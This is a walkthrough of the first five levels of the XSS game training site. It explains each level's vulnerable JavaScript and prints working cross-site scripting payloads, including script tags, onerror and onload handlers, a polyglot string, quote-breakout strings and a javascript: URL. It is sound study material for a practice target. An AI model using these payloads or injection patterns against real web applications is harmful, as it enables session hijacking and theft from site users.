Target:
Level 1: Hello, world of XSS
There is no filter in this challenge,it’s very easy to pass.
Payload:
<script>alert(1)</script>
Level 2: Persistence is key
Check the sourcecode,we found key sentence “html += “
” + posts[i].message + “</blockquote”;” in function displayPosts,it showed us all characters we post,and line swapping by fixed length.
function displayPosts() {
var containerEl = document.getElementById("post-container");
containerEl.innerHTML = "";
var posts = DB.getPosts();
for (var i=0; i<posts.length; i++) {
var html = \'<table class="message"> <tr> <td valign=top> \'
+ \'<img src="/static/level2_icon.png"> </td> <td valign=top \'
+ \' class="message-container"> <div class="shim"></div>\';
html += \'<b>You</b>\';
html += \'<span class="date">\' + new Date(posts[i].date) + \'</span>\';
html += "<blockquote>" + posts[i].message + "</blockquote";
html += "</td></tr></table>"
containerEl.innerHTML += html;
}
}
If test.jpg is not exist,it will be trigger onerror method.
Payload:
<img src="test.jpg" onerror="alert(1)">
The payload below is valid also.
<img src="/static/level2_icon.png" onload="alert(1)">
<!\'/*"/*/\'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
Level 3: That sinking feeling…
Check the function chooseTab below,we’ll found the url format like http://xss-game.appspot.com/level3/frame#num,the num is a input point we could control.
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
html += "<img src=\'/static/level3/cloud" + num + ".jpg\' />";
$(\'#tabContent\').html(html);
window.location.hash = num;
// Select the current tab
var tabs = document.querySelectorAll(\'.tab\');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(num)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
Payload: it will create a html code like <img src=’/static/level3/cloud”‘ onerror=”alert(1)””.jpg’/>
\' onerror="alert(1)"
\' onerror="javascript:alert(1)"
\' onerror=confirm(1)>
Level 4: Context matters
When you click “Create timer” button,the url will be redirected to “http://xss-game.appspot.com/level4/frame?timer=num”
first, we found a function in sourcecode below,
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
Open the developer of the browser,check the seconds varible’s value like below,if we input number 0,it will be redirect to 3.
check the source code,we’ll found the img lable below.
<img src="/static/loading.gif" onload="startTimer(\'{{ timer }}\');" />
The ‘timer’ is a input point and we could control it.
A payload below create the code format <img src=”static/loading.gif” onload=”startTimer(‘ ‘);alert(1);var a=(‘ ‘);” /> ,but it is not passed.
\');alert(1);var a=(\'
Change it to url format: ‘)%3Balert(1)%3Bvar a=(‘
It’s passed
Level 5: Breaking protocol
When we click “Sign up” link,it will be redirected to a new link:http://xss-game.appspot.com/level5/frame/signup?next=confirm
check the confirm.html,we found the code below:
<script>
setTimeout(function() { window.location = \'{{ next }}\'; }, 5000);
</script>
next is a input point we could control,create a payload
javascript:alert(1)
Open the url: http://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
Click “Next” link to alert a message,it’s passed.